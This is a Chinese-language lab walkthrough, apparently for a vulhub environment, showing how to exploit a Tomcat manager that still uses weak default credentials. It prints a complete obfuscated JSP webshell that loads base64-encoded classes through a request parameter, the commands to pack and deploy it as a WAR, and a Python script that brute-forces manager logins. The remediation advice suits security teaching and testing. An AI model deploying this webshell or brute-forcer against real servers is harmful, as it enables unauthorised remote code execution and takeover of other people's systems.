1 漏洞背景
Tomcat 是一个流行的开源Web应用服务器,用于部署和运行Java Web应用程序。Tomcat 7+ 版本中存在一个安全隐患,即默认的管理员密码可能较弱或者未被修改,攻击者可以利用这一漏洞登录到Tomcat的管理后台,并上传恶意的WAR包来执行任意代码
2 启动vulhub靶场
进入目录 cd vulhub/tomcat/tomcat8 启动漏洞环境 docker compose up -d 查看端口 docker-ompose ps
访问 ,您将看到页面,表示环境正在成功运行。
3 漏洞复现步骤
点击Manager App
即可跳到管理登陆页面
输入用户名密码 tomcat:tomcat
,来到管理界面
登录到后台后可以通过部署war
包进行getshell
找一个a.jsp
木马
<%-- 使用时请删除此行, 连接密码: cmd --%> <%! class NATURAL extends ClassLoader{ NATURAL(ClassLoader c){super(c);} public Class proper(byte[] b){ return super.defineClass(b, 0, b.length); } } public byte[] tuple(String str) throws Exception { Class base64; byte[] value = null; try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str }); } catch (Exception e) { try { base64=Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str }); } catch (Exception ee) {} } return value; } %> <% String cls = request.getParameter("cmd"); if (cls != null) { new NATURAL(this.getClass().getClassLoader()).proper(tuple(cls)).newInstance().equals(new Object[]{request,response}); } %>
打包成war
包
jar cvf tomcat.war a.jsp
上传打包的tomcat.war
生成一个tomcat
的路径
在地址栏路径中访问http://192.168.1.20:8080/tomcat/a.jsp
蚁剑连接,密码cmd
4 修复方案
-
修改默认密码:确保Tomcat的管理后台使用了强密码,并定期更换密码。
-
限制访问权限:限制对Tomcat管理后台的访问权限,只允许可信的IP地址或网络段进行访问。
-
禁用不必要的模块:禁用Tomcat中不必要的模块和功能,减少潜在的安全风险。
-
定期更新和打补丁:定期更新Tomcat服务器和相关的Java环境,及时修复已知的安全漏洞。
-
使用Web应用防火墙(WAF):在Tomcat服务器前部署Web应用防火墙(WAF),对传入的请求进行过滤和检测,防止恶意请求的执行。
5 使用python脚本探测漏洞
弱口令脚本
#!/usr/bin/env python import requests import base64 def tomcat_weak_password(): """ 检查 Tomcat 服务器是否存在弱密码。 """ # 输入目标 IP 地址(注意:这里应该是一个完整的 URL,如 http://192.168.1.1:8080/manager/) url = input("请输入目标IP地址(包含端口和路径,如 http://IP:PORT/manager/): ") # 常见的用户名列表 users = ['tomcat','admin','system','Administrator','root','123','tomcat'] # 常见的密码列表 passwords = ['12345','123','tomcat','admin','00000','tomcat'] # 遍历用户名和密码列表 for user in users: for password in passwords: # 拼接用户名和密码,并转换为 base64 编码 tomcat_passwd = user.strip() + ':' + password.strip() encoded_password = base64.b64encode(tomcat_passwd.encode('utf-8')) # 将 base64 编码的密码转换为字符串,并添加 'Basic ' 前缀 encoded_password_end = 'Basic ' + str(encoded_password, 'utf-8') # 构造请求头 headers = { 'Content-Type': 'application/x-www', # 注意:这里的内容类型可能不正确,Tomcat 管理页面可能不需要这个 'Authorization': encoded_password_end, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36' } # 发送 GET 请求 response = requests.get(url, headers=headers) # 如果返回状态码为 200,则认为存在弱口令 if response.status_code == 200: print('存在弱口令') print('账号', user) print('密码', password) # 当找到一个弱密码后,立即退出循环 break # 调用函数 tomcat_weak_password()
结果